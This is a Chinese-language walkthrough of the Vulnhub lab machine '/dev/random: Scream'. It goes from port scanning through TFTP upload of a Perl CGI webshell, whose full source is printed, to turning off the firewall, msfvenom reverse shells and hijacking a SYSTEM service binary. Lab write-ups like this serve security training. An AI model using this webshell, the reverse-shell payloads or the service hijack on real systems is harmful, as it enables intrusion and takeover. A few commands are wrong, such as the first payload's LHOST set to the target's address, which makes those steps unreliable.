
准备工作
靶机基本信息
靶机名称:/dev/random: Scream
操作系统:Windows XP Professional with Service Pack 3
虚拟机软件:VMware Workstation
网络连接方式:桥接至物理网络
渗透测试目标:获取靶机
NT AUTHORITY\SYSTEM
权限
环境配置
注:由于靶机作者制作靶机时采用的方式为使用ISO镜像修改程序将漏洞写入操作系统安装镜像,因此我们需要自行准备
Windows XP
操作系统的安装文件并使用镜像修改工具制作安装光盘。
首先下载Windows XP
操作系统的安装光盘,要求如下:
32
位操作系统- Windows XP Home/Professional Editon
- Service Pack 2/3
(由于现在Windows XP Home
操作系统的安装镜像已经很难找到,作者已经将制作好的安装光盘上传到了百度网盘。下载地址:DevRandom_Scream.iso)
安装光盘下载完成之后,打开从Vulnhub
官网下载的制作工具:

点击Source
区块内文本输入框旁边的光盘按钮 ,选中Windows XP
的安装光盘,随后将压缩包内key.txt
的激活码填入Product Key
内的文本输入框 ,点击Generate Image
按钮,即可生成镜像文件。
镜像文件生成后,按照正常的步骤在虚拟机软件中添加Windows XP
虚拟机即可。制作好的镜像无需进行手动操作即可自动安装。安装完成后,请将虚拟机的网络连接方式手动设置为桥接模式并拍摄快照。
信息收集
主机探测
在Kali Linux中,我们可以使用netdiscover
命令进行主机发现:
shell
netdiscover -r 192.168.2.0/24

从结果截图中可以看出,MAC厂商名为VMware, Inc.
的主机即为靶机,IP地址为192.168.2.142
。
ICMP检测
确定了目标IP地址之后,我们可以使用ping
命令检测目标是否开启了防火墙:
shell
ping -c 10 192.168.2.142

可以发现我们根本无法Ping通主机,证明目标主机开启了系统防火墙。
目标扫描
确定了目标IP地址和防火墙情况之后,我们就可以使用nmap
工具对目标进行初步的扫描。先分别探测下TCP
和UDP
的开放端口:
shell
# -sS TCP SYN半开扫描
# -sU UDP扫描
# -p- 依次探测全部端口
nmap -sS -p- 192.168.2.142
nmap -sU -p- 192.168.2.142

可以看到靶机开放了如下端口:
TCP
端口:21、22、23、80UDP
端口:69
接下来进行详细扫描,探测靶机的操作系统和网络服务版本,并生成纯文本格式报告:
shell
# -sV 扫描网络服务版本
# -A 扫描操作系统版本
# -oN 导出纯文本格式报告
nmap -sS -sV -A -p 21,22,23,80 -oN ./tcp_result.txt 192.168.2.142
nmap -sU -sV -A -p 69 -oN ./udp_result.txt 192.168.2.142
两份扫描报告截图:
从中可以整理出以下信息:
端口 | 传输层协议 | 应用层协议 | 详细信息 |
---|---|---|---|
21 | TCP | FTP | WAR-FTPD 1.65 (Name Scream XP (SP2) FTP Service) |
22 | TCP | SSH | WeOnlyDo sshd 2.1.3 (protocol 2.0) |
23 | TCP | Telnet | 暂无 |
69 | UDP | TFTP | 暂无 |
80 | TCP | HTTP | Tinyweb httpd 1.93 |
并且得知了目标操作系统为Windows XP
,Service Pack
版本为2。
服务探测
FTP服务(TCP-21端口)
根据nmap
的扫描结果,已经得知以下信息:
- 靶机的FTP服务允许
Anonymous
账户登录 - FTP服务中有
/bin
、/log
、/root
三个目录 - 靶机的FTP软件很有可能是
FileZilla
在Kali Linux中打开系统自带的 Thuner
文件管理器 ,在地址栏输入ftp://192.168.2.142
,随后在弹出的窗口中选择匿名连接并点击确定,即可连接靶机的FTP服务:
但非常遗憾,通过匿名用户无权限下载FTP中的所有文件,但得知了/root
目录极有可能为HTTP
服务的主目录。
SSH服务(TCP-22端口)
我们通过nc
可以快速确定该端口的Banner
信息:
Text
┌──(root㉿hacker)-[/home/hacker]
└─# nc 192.168.2.142 22
SSH-2.0-WeOnlyDo 2.1.3
除此之外也没有其它有效的信息了。
Telnet(TCP-23端口)
尝试登录:
Text
┌──(root㉿hacker)-[/home/hacker]
└─# telnet 192.168.2.142
Trying 192.168.2.142...
Connected to 192.168.2.142.
Escape character is '^]'.
Scream Telnet Service
login:
password:
Login incorrect
login:
password:
Login incorrect
login:
password:
Login incorrect
Authentication failed!
Connection closed by foreign host.
尝试nmap
扫描:
Text
┌──(root㉿hacker)-[/home/hacker]
└─# nmap --script=*telnet* -p 23 192.168.2.142
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-07 10:40 CST
Nmap scan report for 192.168.2.142 (192.168.2.142)
Host is up (0.00027s latency).
PORT STATE SERVICE
23/tcp open telnet
| telnet-encryption:
|_ Telnet server does not support encryption
| telnet-brute:
| Accounts: No valid accounts found
|_ Statistics: Performed 30 guesses in 1 seconds, average tps: 30.0
MAC Address: 00:0C:29:27:DD:7A (VMware)
Nmap done: 1 IP address (1 host up) scanned in 1.66 seconds
没有发现任何有效信息。
TFTP服务(UDP-69端口)
发现该端口后尝试登录:
shell
tftp 192.168.2.142
登录之后也没有任何返回信息,输入status
,发现确实连接上了:

由于TFTP服务无法列出目录,只好新建并尝试上传了一份名为data.txt
的文件,看看会不会有回传信息:
shell
put data.txt
结果啥也没有。。。~~((ノ**T_T**)ノ┴---┴
HTTP服务(TCP-80端口)
使用火狐浏览器打开网址:http://192.168.2.142/
主页是一幅字符画,最底下有个Created by Allen Mullen
的字样,然后就没了。
看看网页源代码:
也是啥也没有。。。好好好,这么玩是吧。。。
无奈之下,使用dirsearch
扫描网站目录
shell
dirsearch -u http://192.168.2.142/ -i 200,301,302,304
结果:
/index.html
=> 网站主页data.txt
=> 这不是我刚才传的文件?????
尝试访问一下:

好家伙。。。。。
再看看FTP的/root
目录:
由此可以得出结论,靶机TFTP
服务的工作目录就是网站主目录.\root
,我们可以通过TFTP
服务向靶机上传网页脚本程序。
渗透测试
上传CGI程序
既然我们得知了可以通过TFTP
服务向靶机上传文件,那么我们就直接上传一个phpinfo
脚本试试看:
shell
touch phpinfo.php
cat "<?php phpinfo(); ?>" > ./phpinfo.php
tftp 192.168.2.142
put phpinfo.php

试试访问一下:

但是,看起来靶机的Web服务无法解析PHP
程序。
这时又想起来网站目录下还有一个.\cgi-bin
目录用于存放CGI
程序 ,于是决定上传CGI后门程序文件。考虑到 Perl
是编写CGI
程序的主流语言 ,最终决定上传网上的Perl CGI
后门。
shell
tftp 192.168.2.142
put webshell.pl cgi-bin/webshell.pl
后门源代码:
Perl
use CGI;
use Cwd;
print CGI::header( -type => 'text/html' );
my $command = CGI::param('command');
my $pwd = CGI::param('pwd') || '';
my $password = CGI::param('password');
my $filename = CGI->script_name() ;
if ( $password ne 'yourpassword' ) {
print "Please provide a valid password.\n";
exit(0)
}
$pwd = $pwd eq '' ? `pwd` : $pwd;
my $home = Cwd::cwd();
chdir($pwd);
my $result='';
if ($command =~ /^cd\s*(.*)/) {
my $dir = $1 or '';
if ($dir eq '') {
chdir($home);
} else {
chdir($dir);
}
$pwd = Cwd::cwd();
$result = `ls -la`;
} else {
$result = `$command`;
}
print <<EOF;
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html><head>
<meta content="text/html; charset=ISO-8859-1" http-equiv="content-type"><title>console</title>
<script>
window.onload = function(){
document.getElementById("command").focus();
}
</script>
<style type="text/css">
.wide1 {
border-width: thick;
width: 100%;
height: 600px;
}
.wide2 {
setFocus;
border-width: thick;
width: 100%;
}
</style>
</head><body>
<p>
Script: $filename PWD: $pwd <br/>
<textarea class="wide1" readonly="readonly" cols="1" rows="1" name="result">
$result
</textarea></p>
<form method="get" action="$filename" name="command">Command:
<input class="wide2" name="command" id="command"><br>
<input name="password" value="$password" type="hidden">
<input name="pwd" value="$pwd" type="hidden">
</form>
<br>
</body></html>
EOF
exit 0;
我们访问一下上传的文件:http://192.168.2.142/cgi-bin/webshell.pl?password=yourpassword
(这里的password
参数为连接密码,可在源代码中修改)
可以看到已经上传成功,试试dir
命令列出当前目录:

很好,命令成功执行。
关闭Windows防火墙
由于在信息收集阶段,我们已经判断靶机很有可能存在防火墙,所以我们现在需要将其关闭,执行如下命令判断Windows
防火墙是否开启:
Batch
netsh firewall show state
可以看到系统防火墙确实开启了:

接下来将其关闭并禁用:
Batch
net stop sharedaccess
sc config sharedaccess status= disable


然后使用ping
命令测试一下:
shell
ping -c 10 192.168.2.142

可以看到防火墙成功关闭了。
接下来我们就可以使用msfvenom
生成木马并远程控制靶机了。使用如下命令生成一个反向木马:
shell
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.2.142 LPORT=12000 -f exe > reverse_cmdshell.exe

使用TFTP
上传木马(必须将传输模式切换为binary
,否则TFTP会上传纯文本):
shell
tftp 192.168.2.142
binary
put reverse_cmdshell.exe cgi-bin/reverse_cmdshell.exe

接下来启动Metasploit
并配置监听:
shell
msfconsole
use exploit/multi/handler
set payload windows/shell_reverse_tcp
set LHOST ***.***.*.***
set LPORT 12000
run

成功启动之后在WebShell中执行命令:start .\reverse_cmdshell.exe
以执行木马程序。
连接成功!!!
查看当前用户:echo %username%
Text
c:\www\root\cgi-bin>echo %username%
echo %username%
alex
查看用户列表和主机名:net user
Text
c:\www\root\cgi-bin>net user
net user
User accounts for \\SCREAM
-------------------------------------------------------------------------------
Administrator alex Guest
HelpAssistant SUPPORT_388945a0
The command completed successfully.
查看操作系统信息总览:systeminfo
对靶机Web服务的渗透结束,进入权限提升部分
权限提升
在渗透测试阶段,我们已经成功获得了靶机操作系统的低权限Shell
。现在我们尝试进行权限提升。
我们首先尝试进入当前用户的家目录并查看所有文件:
Batch
cd %homepath%
tree /F

可以看到alex
用户的家目录下没有什么敏感文件。
尝试使用tasklist /V
命令列出系统进程列表:
可以看到以下几个进程是以NT AUTHORITY\SYSTEM
权限运行的:
FileZilla server.exe
FreeSSHDService.exe
OpenTFTPServerMT.exe
而且这不是我们的三个网络服务嘛!既然如此,尝试查询系统服务程序路径,先使用net start
命令看看系统服务列表:

基本可以判断出刚才的高权限进程对应系统服务列表中的哪几项了:
FileZilla server.exe
=> FileZilla Server FTP serverFreeSSHDService.exe
=> FreeSSHDServiceOpenTFTPServerMT.exe
=> Open TFTP Server, MultiThreaded
经过一番思考之后,决定劫持FTP
服务。(因为TFTP
服务是文件上传通道,最好不要搞崩;SSH
服务可能等会儿要用到;只有FTP
服务对目前情况来说一点用处也没有)
使用如下命令查询FTP
服务的可执行文件路径:
Batch
sc query "FileZilla Server FTP server"
但是失败了,不知为何系统找不到这个服务:

既然查询信息行不通,那就直接试试能不能停止该服务:
Batch
net stop "FileZilla Server FTP server"

成功停止服务!
接下来就是去寻找FileZilla server.exe
的绝对路径 ,然后使用木马程序替换它(需要重新生成连接到本机另外一个端口的木马):
Batch
cd C:\
dir /s | findstr "FileZilla server.exe"

可以看到FileZilla server.exe
的绝对路径为:C:\Program Files\FileZilla Server\FileZilla server.exe
,接下来就是上传新木马,替换FTP程序文件名,然后重启被劫持的服务啦!
使用如下命令生成新木马:
shell
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.2.108 LPORT=12500 -f exe > reverse_sys_tcpshell.exe
使用TFTP
服务上传新木马:
shell
tftp 192.168.2.142
binary
put reverse_sys_tcpshell.exe reverse_sys_tcpshell.exe
在已经获得的操作系统Shell
中(12000
号端口),执行如下命令劫持目标服务:
Batch
cd C:\www\root
move ".\reverse_sys_tcpshell.exe" "C:\Program Files\FileZilla Server\reverse_sys_tcpshell.exe"
cd "C:\Program Files\FileZilla Server\"
move "FileZilla server.exe" "FileZilla server.exe.backup"
move ".\reverse_sys_tcpshell.exe" "FileZilla server.exe"

接下来在本机执行如下命令在12500
号端口启动监听:
shell
msfconsole
use exploit/multi/handler
set payload windows/shell_reverse_tcp
set LHOST 192.168.2.108
set LPORT 12500
run

然后在靶机Shell
中执行如下命令启动木马:
Batch
net start "FileZilla Server FTP server"

成功!!!
使用如下命令验证当前用户:
Batch
tasklist /V | findstr "tasklist"
